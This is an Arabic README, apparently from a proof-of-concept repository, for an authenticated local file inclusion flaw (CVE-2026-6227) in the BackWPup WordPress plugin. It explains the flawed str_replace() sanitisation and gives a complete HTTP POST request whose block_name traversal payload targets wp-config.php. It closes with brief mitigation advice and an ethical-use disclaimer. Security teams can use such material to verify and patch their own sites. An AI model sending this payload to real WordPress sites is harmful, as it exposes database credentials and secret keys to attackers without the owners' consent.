
# إثبات مفهوم تعليمي لـ CVE-2026-6227 إثبات مفهوم تعليمي لثغرة CVE-2026-6227، وهي ثغرة تضمين ملفات محلي (Local File Inclusion) تتطلب مصادقة في إضافة BackWPup لـ WordPress، بما في ذلك تحليل السبب الجذري، وطلب الاستغلال، وإرشادات التخفيف.
تتأثر إصدارات BackWPup حتى 5.6.6 وما دونها بثغرة تضمين الملفات المحلي (LFI) الموثّقة عبر معامل block_name في نقطة نهاية REST الخاصة بـ /wp-json/backwpup/v1/getblock.
نشأ الخلل بسبب تعقيم غير تكراري عبر str_replace() لأنماط التنقل، وقد تم إصلاحه بالفعل في الإصدار 5.6.7.
هذا المستودع مخصص حصريًا لأغراض البحث الأمني التعليمي والأخلاقي. المعلومات المقدمة هنا تهدف إلى مساعدة المسؤولين وفرق الأمن في التحقق من أنظمتهم. لا تستخدم هذا ضد أهداف دون إذن كتابي صريح.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameيطبّق محمّل المكونات المتأثر تعقيمًا غير تكراري عبر str_replace() قبل استدعاء include(). يمكن تجاوز ذلك باستخدام أنماط تنقل مصمّمة مثل ....// أو ..././، مما يسمح بحل مسارات يتحكم بها المهاجم.
wp-config.php)بشكل افتراضي، يتطلب الاستغلال وصولًا بمستوى مسؤول. إذا تم تفويض صلاحيات النسخ الاحتياطي، فقد يتمكن المستخدمون ذوو الصلاحيات الأقل من استغلال هذه المشكلة أيضًا.
POST شرعيًا إلى /wp-json/backwpup/v1/getblock.block_name بحمولة تنقّل.مثال على الطلب:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup للأدوار الموثوقة فقط/wp-json/backwpup/v1/getblock